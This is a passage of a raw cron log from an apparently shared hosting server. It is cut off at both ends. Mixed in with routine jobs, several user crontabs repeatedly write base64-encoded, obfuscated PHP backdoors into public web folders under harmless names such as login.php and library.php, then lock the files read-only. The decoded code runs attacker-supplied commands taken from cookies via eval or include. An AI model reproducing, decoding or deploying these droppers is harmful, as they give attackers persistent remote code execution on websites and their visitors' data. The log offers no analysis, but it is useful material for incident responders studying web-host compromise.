W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:22:01 medusa CROND[11967]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:22:01 medusa CROND[11968]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:22:01 medusa CROND[11970]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:22:01 medusa CROND[11969]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:22:01 medusa CROND[11975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:22:01 medusa CROND[11978]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:22:01 medusa CROND[11982]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:23:01 medusa CROND[17757]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:23:01 medusa CROND[17758]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:23:01 medusa CROND[17759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:23:01 medusa CROND[17760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:23:01 medusa CROND[17766]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:23:01 medusa CROND[17768]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:23:01 medusa CROND[17773]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:23:01 medusa CROND[17774]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:23:01 medusa CROND[17769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:23:01 medusa CROND[17779]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:23:01 medusa CROND[17780]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:23:01 medusa CROND[17781]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:24:01 medusa CROND[25036]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:24:01 medusa CROND[25037]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:24:01 medusa CROND[25038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:24:01 medusa CROND[25039]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:24:01 medusa CROND[25041]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:24:01 medusa CROND[25042]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:24:01 medusa CROND[25047]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:24:01 medusa CROND[25048]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR